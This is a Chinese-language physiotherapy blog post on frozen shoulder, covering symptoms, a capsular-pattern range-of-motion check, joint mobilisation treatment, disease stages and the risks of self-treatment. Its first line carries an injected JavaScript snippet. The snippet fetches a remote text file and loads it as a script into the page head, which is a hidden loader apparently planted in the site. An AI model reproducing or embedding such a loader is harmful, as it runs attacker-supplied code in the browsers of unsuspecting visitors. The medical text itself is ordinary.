;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); 什麼是五十肩？怎麼知道以及怎麼治療？ (by 姚斯元物理治療師) | 好痛痛醫療、運動資訊站
五十肩-冰凍肩-肩膀痛-手舉不起來-肩膀舉不起來-不舉-肩膀卡住
/ ATX 徒手治療研究專欄 (姚斯元物理治療師)

什麼是五十肩？怎麼知道以及怎麼治療？ (by 姚斯元物理治療師)

肩膀系列文章第二篇提到常見的肩膀問題有：肩夾擠症候群、五十肩 (冰凍肩)、旋轉肌撕裂傷。今天要來細談五十肩 (冰凍肩)，聊聊五十肩的症狀、怎麼簡單自我檢測、如何就醫與治療？

五十肩 (冰凍肩) 的症狀

五十肩的原因是肩關節囊裡面沾黏住了，原本要能滑來滑去、轉來轉去的關節，現在像是被膠水黏住一樣、卡住、發炎。比較容易得到五十肩的有糖尿病、甲狀腺、心血管問題、結核、巴金森式症等問題的人。

先讓我們釐清一件很重要的事：五十肩 (冰凍肩) 會讓你肩膀活動受限，但是肩膀活動受限不代表你就是五十肩！天底下有一大堆原因可以讓你肩膀受限，例如常見的肩夾擠症候群就是其中一個。

五十肩常見的症狀有：

  • 睡覺壓到肩膀會痛
  • 睡覺時因為肩膀太久沒動會疼痛，甚至痛醒
  • 天氣冷的時候肩膀會比較不舒服
  • 穿脫 T 恤之類需要大角度活動肩膀的動作時會很痛
  • 如果你是女性的話，穿脫內衣這個動作時，肩膀活動會有困難
  • 手抬不起來，向前向上舉無法180度貼在耳朵上

你怎麼知道那是五十肩還是其他問題？

判斷五十肩(冰凍肩)的方法有很多，臨床上常見的方法之一就是看關節囊的受限模式 (Capsule Pattern)。關節囊受限模式是根據歸納出來的結果，意思是假如你肩關節活動角度卡住是因為關節囊裡面的原因造成的，那通常卡住最多的角度會是外轉、接下來是外展，之後是內轉(外轉的反方向)。

好痛痛-復健科-骨科-物理治療 | 肩膀-活動度-外轉2-肩膀痛-五十肩-冰凍肩-肩關節沾黏發炎

肩膀-活動度-外轉1-肩膀痛-五十肩-冰凍肩-肩關節沾黏發炎

肩膀-肩關節-活動度-外展-內收-肩膀痛-活動受限-肩膀卡住

如果卡住的程度不是依照這個嚴重順序的話，我們可以合理懷疑你的肩膀痛、肩膀活動卡住有其他原因。一個比五十肩更常見的肩膀活動受限原因是肩夾擠症候群，脊上肌被夾到、受傷、發炎，久了之後可能導致萎縮，然後造成肩膀活動受限。

我們會叫病人實際做外轉，外展，內轉的動作並且測量他們的角度。然後跟正常的角度去相比 (外轉:90度，外展180度，內轉:90度)，看受限的比例有沒有依照關節囊受限模式。

內轉+外轉測試 (鏡頭有點晃)：

外展測試 (有點長，自己快轉看重點就好)：

 

五十肩 (冰凍肩) 的治療

其實五十肩並不難治療，但是他很花時間。其中一個常見的方法是關節鬆動術，顧名思義就是用徒手的方法拉開你的關節囊，增加活動度。小小的缺點是這樣的治療方式會有些疼痛。

關節鬆動術影片，警告！內有胸肌小鮮肉 ♥︎：

花時間的地方在於，五十肩要完全治療通常會需要 6~12 個月，你的關節活動角度才會恢復到正常角度。
另外有時候五十肩也會使用一些注射治療來搭配徒手治療一起 Combo 一下。

五十肩(冰凍肩)的疾病進程

根據文獻，五十肩的疾病進程可分為三個階段，每個階段約6個月：

  • 第一階段：主要症狀是疼痛，很容易被診斷成其他問題，例如肩峰下滑囊被夾之類的。但是第一階段快結束時，活動角度受限的問題開始浮出，變得比較好診斷。
  • 第二階段：疼痛減緩，主要的會變成活動角度卡住。
  • 第三階段：冰凍肩逐漸解凍，活動角度慢慢變大。

那我可以自己拉開關節來治療自己的五十肩嗎？

確實是有病人靠著自己死命拉關節的方法治療好自己的案例，但是DIY有以下風險：

  1. 比起物理治療師幫你做關節鬆動術，自己拉扯關節，對關節的壓力是比較大的。
  2. 如果你不當施力拉過頭，可能會造成關節發炎、甚至肌肉拉傷。
  3. 假如你沒有給醫生、物理治療師診斷、評估過，就自己判斷是五十肩，就自己亂拉，那可能完全沒效，甚至越弄越慘。

提醒大家，五十肩雖然很有名，但是其實真正五十肩的人只佔人口2~5%左右，並不如他的名氣一般常見。所以提醒大家真的不要隨便 DIY，有肩膀問題還是要找醫生與物理治療師。

延伸閱讀：

肩膀系列第一篇：為什麼肩膀是容易受傷的關節？

肩膀系列第二篇：常見的肩膀受傷、疼痛問題有哪些？

 

合作撰寫：

、
協助：
、

 

 


好痛痛復健科、骨科、物理治療、運動訓練搜尋器

註：本部落格文章是以科普、衛教為出發點，不代表任何人的生理狀況。每個人的身體皆不相同，有任何疑問請詢問自己的醫師、物理治療師、專業教練。

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